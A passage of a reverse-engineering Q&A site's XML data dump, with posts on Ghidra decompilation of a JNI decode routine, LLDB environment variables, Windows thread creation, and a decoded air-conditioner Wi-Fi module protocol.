to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void* _RDX = NULL;&#xA;InterlockedExchange(&amp;amp;_RDX, m_someMemoryPool[v4]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;? Or there is more complicated synchronization construction should be used?&lt;/p&gt;&#xA;" OwnerUserId="17968" LastEditorUserId="17968" LastEditDate="2020-09-01T18:21:07.270" LastActivityDate="2020-09-03T10:59:01.163" Title="What does xchg means when accessing array element?" Tags="|ida|hexrays|x86-64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25795" PostTypeId="2" ParentId="25760" CreationDate="2020-09-01T18:52:50.183" Score="2" Body="&lt;p&gt;Rolf Gave a nice Answer comparing his gist with a few minutes of ghidra on the file you edited in ghidra does give a nearly identical Pseudo Code&lt;/p&gt;&#xA;&lt;p&gt;looking at JniEnv it is defined like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct {&#xA;const struct func* Funcs;&#xA;jwhatever GetSomeJava(jsomething foo, jotherthing blah) {&#xA;return funcs-&amp;gt;GetSomeJava(…...);&#xA;}&#xA;229 function ptrs like this &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so creating a fake struct with 230 PVOIDS and retyping the param 1 as JniEnv*&#xA;ghidra makes the *&lt;em&gt;code&lt;/em&gt; (blah + foo ) as Env-&amp;gt;xn&#xA;the dscrc is a dallas semiconductor crc lookup table&lt;/p&gt;&#xA;&lt;p&gt;here is the pseudo code from ghidra&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* WARNING: Function: __i686.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */&#xA;&#xA;undefined4&#xA;Java_com_scaf_android_client_CodecUtils_decodeWithEncrypt&#xA;          (JniEnv *Env,int param_2,byte *dallasarray,byte key)&#xA;&#xA;{&#xA;  byte bVar1;&#xA;  int local_EAX_53;&#xA;  int local_EAX_76;&#xA;  int local_EAX_93;&#xA;  byte *local_EAX_153;&#xA;  uint uVar2;&#xA;  int i;&#xA;  byte *pbVar3;&#xA;  undefined4 uVar4;&#xA;  &#xA;  local_EAX_53 = (**(code **)((int)Env-&amp;gt;field_0x0 + 0x2e0))(Env,dallasarray,0);&#xA;  local_EAX_76 = (**(code **)((int)Env-&amp;gt;field_0x0 + 0x2ac))(Env,dallasarray);&#xA;  local_EAX_93 = (**(code **)((int)Env-&amp;gt;field_0x0 + 0x2c0))(Env,local_EAX_76);&#xA;  (**(code **)((int)Env-&amp;gt;field_0x0 + 0x340))(Env,local_EAX_93,0,local_EAX_76,local_EAX_53);&#xA;  local_EAX_153 = (byte *)(**(code **)((int)Env-&amp;gt;field_0x0 + 0x2e0))(Env,local_EAX_93,0);&#xA;  uVar2 = (**(code **)((int)Env-&amp;gt;field_0x0 + 0x2ac))(Env,local_EAX_93);&#xA;  if (0 &amp;lt; (int)uVar2) {&#xA;    i = (int)local_EAX_153;&#xA;    do {&#xA;      pbVar3 = (byte *)(i + 1);&#xA;      bVar1 = *(byte *)i;&#xA;      *(byte *)i = key ^ bVar1;&#xA;      *(byte *)i = key ^ bVar1 ^ dscrc_table[uVar2 &amp;amp; 0xff];&#xA;      i = (int)pbVar3;&#xA;    } while (pbVar3 != local_EAX_153 + uVar2);&#xA;  }&#xA;  uVar4 = (**(code **)((int)Env-&amp;gt;field_0x0 + 0x2c0))(Env,uVar2);&#xA;  (**(code **)((int)Env-&amp;gt;field_0x0 + 0x340))(Env,uVar4,0,uVar2,local_EAX_153);&#xA;  (**(code **)((int)Env-&amp;gt;field_0x0 + 0x300))(Env,dallasarray,local_EAX_53,0);&#xA;  return uVar4;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;importing data types from this ghidra Extension  &lt;strong&gt;&lt;a href=&quot;https://github.com/Ayrx/JNIAnalyzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;JniAnalyzer&lt;/a&gt;&lt;/strong&gt;&#xA;the PseudoCode becomes Still Better&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F:\&amp;gt;mkdir jniana&#xA;&#xA;F:\&amp;gt;cd jniana&#xA;&#xA;F:\jniana&amp;gt;f:\git\bin\git.exe clone https://github.com/Ayrx/JNIAnalyzer.git&#xA;&#xA;Cloning into 'JNIAnalyzer'...&#xA;remote: Enumerating objects: 347, done.&#xA;Rremote: Total 347 (delta 0), reused 0 (delta 0), pack-reused 347                                                       Recei&#xA;Receiving objects: 100% (347/347), 14.27 MiB | 102.00 KiB/s, done.&#xA;Resolving deltas: 100% (92/92), done.&#xA;&#xA;F:\jniana&amp;gt;dir /b /s *.gdt&#xA;F:\jniana\JNIAnalyzer\JNIAnalyzer\data\jni_all.gdt&#xA;&#xA;F:\jniana&amp;gt;f:\ghidra912\ghidraRun.bat&#xA;&#xA;click the small black arrow in Data Type Manager &#xA;Open File Archieve &#xA;Navigate to this gdt and load it &#xA;&#xA;Select the Function in decompiler and Edit Function Signature &#xA;Retype the First Argument to JniEnv* and see the differnece &#xA;as below &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Pseudo Code After Adding the Correct type for first Argument JniEnv * param1&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jbyteArray&#xA;Java_com_scaf_android_client_CodecUtils_decodeWithEncrypt&#xA;          (JNIEnv *Env,int Unused,jbyteArray param_3,byte param_4)&#xA;&#xA;{&#xA;  byte bVar1;&#xA;  jbyte *buf;&#xA;  jsize len;&#xA;  jbyteArray array;&#xA;  byte *buf_00;&#xA;  uint len_00;&#xA;  byte *pbVar2;&#xA;  byte *pbVar3;&#xA;  &#xA;  buf = (*(*Env)-&amp;gt;GetByteArrayElements)((JNIEnv *)Env,param_3,(jboolean *)0x0);&#xA;  len = (*(*Env)-&amp;gt;GetArrayLength)((JNIEnv *)Env,(jarray)param_3);&#xA;  array = (*(*Env)-&amp;gt;NewByteArray)((JNIEnv *)Env,len);&#xA;  (*(*Env)-&amp;gt;SetByteArrayRegion)((JNIEnv *)Env,array,0,len,buf);&#xA;  buf_00 = (byte *)(*(*Env)-&amp;gt;GetByteArrayElements)((JNIEnv *)Env,array,(jboolean *)0x0);&#xA;  len_00 = (*(*Env)-&amp;gt;GetArrayLength)((JNIEnv *)Env,(jarray)array);&#xA;  if (0 &amp;lt; (int)len_00) {&#xA;    pbVar2 = buf_00;&#xA;    do {&#xA;      pbVar3 = pbVar2 + 1;&#xA;      bVar1 = *pbVar2;&#xA;      *pbVar2 = param_4 ^ bVar1;&#xA;      *pbVar2 = param_4 ^ bVar1 ^ dscrc_table[len_00 &amp;amp; 0xff];&#xA;      pbVar2 = pbVar3;&#xA;    } while (pbVar3 != buf_00 + len_00);&#xA;  }&#xA;  array = (*(*Env)-&amp;gt;NewByteArray)((JNIEnv *)Env,len_00);&#xA;  (*(*Env)-&amp;gt;SetByteArrayRegion)((JNIEnv *)Env,array,0,len_00,(jbyte *)buf_00);&#xA;  (*(*Env)-&amp;gt;ReleaseByteArrayElements)((JNIEnv *)Env,param_3,buf,0);&#xA;  return array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-09-02T18:18:25.513" LastActivityDate="2020-09-02T18:18:25.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25796" PostTypeId="1" CreationDate="2020-09-02T02:45:28.613" Score="0" ViewCount="589" Body="&lt;p&gt;It is relatively easy to set environment variables in LLDB, via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;settings set target.env-vars DEBUG=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, I can't seem to find a way to &lt;em&gt;append&lt;/em&gt; to an environment variable.  The following doesn't work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) settings set target.env-vars DEBUG=1&#xA;(lldb) settings set target.env-vars DEBUG=2$DEBUG&#xA;(lldb) settings show target.env-vars DEBUG&#xA;target.env-vars (dictionary of strings) =&#xA;  DEBUG=2$DEBUG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastActivityDate="2020-09-03T23:21:51.743" Title="Append to environment variable in LLDB" Tags="|debugging|lldb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25798" PostTypeId="1" CreationDate="2020-09-02T09:59:45.123" Score="2" ViewCount="108" Body="&lt;p&gt;I'd like to know about every possible way how a thread can be created in a process at the lowest possible level.&lt;/p&gt;&#xA;&lt;p&gt;There are loads of WinAPI-s to create a thread, but as far as I know all of them ends in either &lt;code&gt;NtCreateThread&lt;/code&gt; or &lt;code&gt;NtCreateThreadEx&lt;/code&gt;. For eg if I put a breakpoint on these two and I suppose they aren't removed and the target is not using direct syscalls, can I assume that I can SAFELY catch EVERY single try of creating a new thread from that process? I know, debuggers have a feature of breaking on new threads, but this time I'd like to catch the moment before the creation.&lt;/p&gt;&#xA;&lt;p&gt;I also know about that one can call any form of CreateRemoteThread externally, but is there any reasons why a clean OS would do so?&lt;/p&gt;&#xA;&lt;p&gt;So, for example if I suspend all the threads of a process, is there anything that would &amp;quot;legally&amp;quot; start a thread in the process, which could theoretically find out that I'm messing with the process? For example if something would start an internal ntdll function, or a timed callback which starts a new thread &lt;em&gt;(I don't know if it's possible, just brainstorming)&lt;/em&gt; - if it was hooked, a malware could actually redirect code execution to its own code which may detect things.&lt;/p&gt;&#xA;&lt;p&gt;I don't care about any software like an anti-virus or apparently any external malware trying to run its own code, I'm curious if the OS would do so in any situation or by forcing it?&lt;/p&gt;&#xA;&lt;p&gt;I know that various cases may happen, my target malware may write into external processes which may be able to resume the original process or create a new thread in it, or even more advanced things, but I'd like to gradually check for possibilities and also improve my knowledge on Nt internals :)&lt;/p&gt;&#xA;" OwnerUserId="29662" LastActivityDate="2020-09-02T09:59:45.123" Title="Ways of creating a new thread on Windows" Tags="|windows|debugging|malware|thread|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25799" PostTypeId="2" ParentId="25786" CreationDate="2020-09-02T10:00:11.710" Score="2" Body="&lt;h1&gt;From my question:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It seems to work :)&lt;/li&gt;&#xA;&lt;li&gt;Is the message length&lt;/li&gt;&#xA;&lt;li&gt;more or less ;)&lt;/li&gt;&#xA;&lt;li&gt;See procedure bellow&lt;/li&gt;&#xA;&lt;li&gt;Still wondering if it's a &amp;quot;common/standard protocol&amp;quot;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Procedure&lt;/h1&gt;&#xA;&lt;p&gt;I have removed the module from the AC and build a simple fake AC server.&lt;/p&gt;&#xA;&lt;p&gt;From what I see, once a message is sent, a response has to be returned. I've exchanged some messages with it using XML commands, looking at the messages sent back to the AC (my virtual AC server), and could decode most of the messages. Then I've sent back some messages directly to the module as if the AC sent them, and looked at the new values stored in the module.&lt;/p&gt;&#xA;&lt;p&gt;I end up with the following protocol. There is still some points to be clarified, but most of the work is done.&lt;/p&gt;&#xA;&lt;p&gt;Next step, I'll write a daemon capable of translating messages as human readable, and connect back the module to the AC, then sniffing while playing with the different function to find if there are some &amp;quot;new&amp;quot; messages.&lt;/p&gt;&#xA;&lt;h1&gt;Message format&lt;/h1&gt;&#xA;&lt;p&gt;Each message could be decomposed as follow:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔═══════╦══════════╦════════╦══════════════╦═════╦════════════════════════════════╦══════════╦═════╗&#xA;║ start ║ version? ║ length ║   counter    ║ sep ║            payload             ║ checksum ║ end ║&#xA;╠═══════╬══════════╬════════╬══════════════╬═════╬════════════════════════════════╬══════════╬═════╣&#xA;║ d0c0  ║       02 ║     12 ║ 000000000000 ║ fe  ║ 12040601010f7401f0             ║       64 ║ e0  ║&#xA;║ d0c0  ║       02 ║     12 ║ 000000000000 ║ fe  ║ 12050601010f7401f0             ║       65 ║ e0  ║&#xA;║ d0c0  ║       02 ║     18 ║ 000000000001 ║ fe  ║ 14040c170115180105190127fd0102 ║       37 ║ e0  ║&#xA;║ d0c0  ║       02 ║     18 ║ 000000000001 ║ fe  ║ 14050c170115180105190127fd0102 ║       36 ║ e0  ║&#xA;║ …     ║          ║        ║              ║     ║                                ║          ║     ║&#xA;╚═══════╩══════════╩════════╩══════════════╩═════╩════════════════════════════════╩══════════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fields &lt;code&gt;start&lt;/code&gt;, &lt;code&gt;end&lt;/code&gt;, &lt;code&gt;sep&lt;/code&gt;, &lt;code&gt;version?&lt;/code&gt; seems static&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Counter&lt;/code&gt; is incrementing for each new message&lt;/li&gt;&#xA;&lt;li&gt;when one of the two cards receives a message, it sends back the &lt;strong&gt;same&lt;/strong&gt; message but increasing the &lt;code&gt;ack&lt;/code&gt; value&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;checksum&lt;/code&gt; the &lt;code&gt;CheckSum 8 Xor&lt;/code&gt; of the all columns before&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;length&lt;/code&gt;, count from here to end of message (including &lt;code&gt;checksum&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Payload&lt;/h1&gt;&#xA;&lt;p&gt;Each payload may be decomposed in &lt;code&gt;command&lt;/code&gt;, &lt;code&gt;sub&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔══════╦═════════╦══════════╦════════════════════════════════════════════════════════════════════════════════════════╗&#xA;║ type ║ command ║ register ║                                        value(s)                                        ║&#xA;╠══════╬═════════╬══════════╬════════════════════════════════════════════════════════════════════════════════════════╣&#xA;║ 1204 ║ 06      ║ 0101     ║ 0f74010f                                                                               ║&#xA;║ 1205 ║ 06      ║ 0101     ║ f074010f                                                                               ║&#xA;║ 1204 ║ 09      ║ f704     ║ 5445535474010f                                                                         ║&#xA;║ 1403 ║ 2d      ║ 3201     ║ fef601fef403150224f303130709f501053902d0b8e0040000e635e40400040dcbe801fee90103e6022710 ║&#xA;╚══════╩═════════╩══════════╩════════════════════════════════════════════════════════════════════════════════════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Types&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;1204&lt;/code&gt;: user commands&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1205&lt;/code&gt;: ack - user commands&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1206&lt;/code&gt;: values from AC&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1207&lt;/code&gt;: ack - values from AC&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1302&lt;/code&gt;: reset? registers&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1303&lt;/code&gt;: values from AC (OutDoor?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1304&lt;/code&gt;: Set&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1305&lt;/code&gt;: ack - Set&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1402&lt;/code&gt;: counters from unit&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1403&lt;/code&gt;: ??? ack?&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1404&lt;/code&gt;: wifi module status&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1405&lt;/code&gt;: ??? ack?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;code&gt;1204&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;06&lt;/code&gt; Set Integer&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;09&lt;/code&gt; Set String&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;AC_FUN_ENABLE&#xA;&lt;pre&gt;&lt;code&gt;╔═════════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║         ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ Enable  ║      06 ║       01 ║     01 ║ f0    ║ 74010f ║&#xA;║ Disable ║      06 ║       01 ║     01 ║ 0f    ║ 74010f ║&#xA;╚═════════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_POWER&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ Off ║      06 ║       02 ║     01 ║ f0    ║ 74010f ║&#xA;║ On  ║      06 ║       02 ║     01 ║ 0f    ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_OPMODE&#xA;&lt;pre&gt;&lt;code&gt;╔══════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║      ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠══════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ Cool ║      06 ║       43 ║     01 ║ 12    ║ 74010f ║&#xA;║ Dry  ║      06 ║       43 ║     01 ║ 22    ║ 74010f ║&#xA;║ Wind ║      06 ║       43 ║     01 ║ 32    ║ 74010f ║&#xA;║ Heat ║      06 ║       43 ║     01 ║ 42    ║ 74010f ║&#xA;║ Auto ║      06 ║       43 ║     01 ║ e2    ║ 74010f ║&#xA;╚══════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_COMODE&#xA;&lt;pre&gt;&lt;code&gt;╔═══════════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║           ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═══════════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ Off       ║      06 ║       44 ║     01 ║ 12    ║ 74010f ║&#xA;║ TurboMode ║      06 ║       44 ║     01 ║ 22    ║ 74010f ║&#xA;║ Smart     ║      06 ║       44 ║     01 ║ 32    ║ 74010f ║&#xA;║ Sleep     ║      06 ║       44 ║     01 ║ 42    ║ 74010f ║&#xA;║ Quiet     ║      06 ║       44 ║     01 ║ 52    ║ 74010f ║&#xA;║ SoftCool  ║      06 ║       44 ║     01 ║ 62    ║ 74010f ║&#xA;║ WindMode1 ║      06 ║       44 ║     01 ║ 82    ║ 74010f ║&#xA;║ WindMode2 ║      06 ║       44 ║     01 ║ 92    ║ 74010f ║&#xA;║ WindMode3 ║      06 ║       44 ║     01 ║ a2    ║ 74010f ║&#xA;╚═══════════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_TEMPSET (from 16°C to 28°C)&#xA;&lt;pre&gt;&lt;code&gt;╔══════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║      ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠══════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ 16°C ║      06 ║ 5a       ║     01 ║ 10    ║ 74010f ║&#xA;║ 17°C ║      06 ║ 5a       ║     01 ║ 11    ║ 74010f ║&#xA;║ …    ║         ║          ║        ║       ║        ║&#xA;║ 28°C ║      06 ║ 5a       ║     01 ║ 1c    ║ 74010f ║&#xA;╚══════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_WINDLEVEL&#xA;&lt;pre&gt;&lt;code&gt;╔═══════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║       ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═══════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ Auto  ║      06 ║       62 ║     00 ║    00 ║ 74010f ║&#xA;║ Low   ║      06 ║       62 ║     01 ║    12 ║ 74010f ║&#xA;║ Mid   ║      06 ║       62 ║     01 ║    14 ║ 74010f ║&#xA;║ High  ║      06 ║       62 ║     01 ║    16 ║ 74010f ║&#xA;║ Turbo ║      06 ║       62 ║     01 ║    18 ║ 74010f ║&#xA;╚═══════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_DIRECTION&#xA;&lt;pre&gt;&lt;code&gt;╔══════════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║          ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠══════════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ Off      ║      06 ║       63 ║     01 ║ 12    ║ 74010f ║&#xA;║ Indirect ║      06 ║       63 ║     01 ║ 21    ║ 74010f ║&#xA;║ Direct   ║      06 ║       63 ║     01 ║ 31    ║ 74010f ║&#xA;║ Center   ║      06 ║       63 ║     01 ║ 41    ║ 74010f ║&#xA;║ Wide     ║      06 ║       63 ║     01 ║ 51    ║ 74010f ║&#xA;║ Left     ║      06 ║       63 ║     01 ║ 61    ║ 74010f ║&#xA;║ Right    ║      06 ║       63 ║     01 ║ 71    ║ 74010f ║&#xA;║ Long     ║      06 ║       63 ║     01 ║ 81    ║ 74010f ║&#xA;║ SwingUD  ║      06 ║       63 ║     01 ║ 92    ║ 74010f ║&#xA;║ SwingLR  ║      06 ║       63 ║     01 ║ a2    ║ 74010f ║&#xA;║ Rotation ║      06 ║       63 ║     01 ║ b2    ║ 74010f ║&#xA;║ Fixed    ║      06 ║       63 ║     01 ║ c2    ║ 74010f ║&#xA;╚══════════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_SLEEP&#xA;&lt;p&gt;TODO: To validate&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║   0 ║      06 ║       73 ║     01 ║ 00    ║ 74010f ║&#xA;║ 255 ║      06 ║       73 ║     01 ║ ff    ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_FUN_ERROR&#xA;&lt;pre&gt;&lt;code&gt;╔════════════════════════════════════════════════════════════════════════╦════════════╦══════════╦════════╦══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╦════════╗&#xA;║                                                                        ║ command??? ║ register ║ length ║                                                                    value                                                                     ║  end   ║&#xA;╠════════════════════════════════════════════════════════════════════════╬════════════╬══════════╬════════╬══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╬════════╣&#xA;║ NULL                                                                   ║ 09         ║ f7       ║     04 ║ 4e554c4c                                                                                                                                     ║ 74010f ║&#xA;║ TEST                                                                   ║ 09         ║ f7       ║     04 ║ 54455354                                                                                                                                     ║ 74010f ║&#xA;║ MY_ERROR_MESSAGE                                                       ║ 15         ║ f7       ║     10 ║ 4d59204552524f52204d455353414745                                                                                                             ║ 74010f ║&#xA;║ 0123456789012345678901234567890123456789012345678901234567890123456789 ║ 4b         ║ f7       ║     46 ║ 30313233343536373839303132333435363738393031323334353637383930313233343536373839303132333435363738393031323334353637383930313233343536373839 ║ 74010f ║&#xA;╚════════════════════════════════════════════════════════════════════════╩════════════╩══════════╩════════╩══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1206&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔══════════════════╦═════════╦══════════╦════════╦══════════╗&#xA;║                  ║ command ║ register ║ length ║  value   ║&#xA;╠══════════════════╬═════════╬══════════╬════════╬══════════╣&#xA;║ Multi_valued     ║      24 ║          ║        ║          ║&#xA;║ AC_FUN_POWER     ║         ║ 02       ║     01 ║ f0       ║&#xA;║ ?                ║         ║ 41       ║     01 ║ 32       ║&#xA;║ AC_FUN_OPMODE    ║         ║ 43       ║     01 ║ e2       ║&#xA;║ AC_FUN_COMODE    ║         ║ 44       ║     01 ║ 12       ║&#xA;║ AC_FUN_WINDLEVEL ║         ║ 62       ║     01 ║ 00       ║&#xA;║ AC_FUN_DIRECTION ║         ║ 63       ║     01 ║ c2       ║&#xA;║ ?                ║         ║ ea       ║     01 ║ fe       ║&#xA;║ AC_FUN_TEMPSET   ║         ║ 5a       ║     01 ║ 15       ║&#xA;║ AC_FUN_TEMPNOW   ║         ║ 5c       ║     01 ║ 17       ║&#xA;║ AC_FUN_SLEEP     ║         ║ 73       ║     01 ║ 00       ║&#xA;║ AC_FUN_ERROR     ║         ║ f7       ║     04 ║ 00000000 ║&#xA;╚══════════════════╩═════════╩══════════╩════════╩══════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1302&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;p&gt;Reset?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔═══════════════════════════╦═════════╦══════════╦════════╦═══════╗&#xA;║                           ║ command ║ register ║ length ║ value ║&#xA;╠═══════════════════════════╬═════════╬══════════╬════════╬═══════╣&#xA;║ Multi_valued              ║      10 ║          ║        ║       ║&#xA;║ AC_ADD_AUTOCLEAN          ║         ║       32 ║     00 ║       ║&#xA;║ AC_ADD_SETKWH             ║         ║       40 ║     00 ║       ║&#xA;║ AC_ADD_CLEAR_FILTER_ALARM ║         ║       44 ║     00 ║       ║&#xA;║ AC_ADD_STARTWPS           ║         ║       43 ║     00 ║       ║&#xA;║ AC_ADD_SPI                ║         ║       75 ║     00 ║       ║&#xA;║ AC_OUTDOOR_TEMP           ║         ║       76 ║     00 ║       ║&#xA;║ AC_COOL_CAPABILITY        ║         ║       77 ║     00 ║       ║&#xA;║ AC_WARM_CAPABILITY        ║         ║       78 ║     00 ║       ║&#xA;╚═══════════════════════════╩═════════╩══════════╩════════╩═══════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1303&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔═══════════════════════════╦═════════╦══════════╦════════╦═══════╗&#xA;║                           ║ command ║ register ║ length ║ value ║&#xA;╠═══════════════════════════╬═════════╬══════════╬════════╬═══════╣&#xA;║ Multi_valued              ║ 1a      ║          ║        ║       ║&#xA;║ AC_ADD_AUTOCLEAN          ║         ║       32 ║     01 ║ 23    ║&#xA;║ AC_ADD_SETKWH             ║         ║       40 ║     01 ║ ff    ║&#xA;║ AC_ADD_CLEAR_FILTER_ALARM ║         ║       44 ║     01 ║ f0    ║&#xA;║ AC_ADD_STARTWPS           ║         ║       43 ║     01 ║ 0f    ║&#xA;║ AC_ADD_SPI                ║         ║       75 ║     01 ║ f0    ║&#xA;║ AC_OUTDOOR_TEMP           ║         ║       76 ║     01 ║ fe    ║&#xA;║ AC_COOL_CAPABILITY        ║         ║       77 ║     02 ║ 0044  ║&#xA;║ AC_WARM_CAPABILITY        ║         ║       78 ║     02 ║ 0050  ║&#xA;╚═══════════════════════════╩═════════╩══════════╩════════╩═══════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1304&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;06&lt;/code&gt; Set Integer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;AC_ADD_AUTOCLEAN&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ On  ║      06 ║       32 ║     01 ║    22 ║ 74010f ║&#xA;║ Off ║      06 ║       32 ║     01 ║    23 ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD_SETKWH&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ 0   ║      06 ║       40 ║     01 ║ 00    ║ 74010f ║&#xA;║ …   ║         ║          ║        ║       ║        ║&#xA;║ 255 ║      06 ║       40 ║     01 ║ ff    ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD_CLEAR_FILTER_ALARM&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ 0   ║      06 ║       44 ║     01 ║ 00    ║ 74010f ║&#xA;║ …   ║         ║          ║        ║       ║        ║&#xA;║ 255 ║      06 ║       44 ║     01 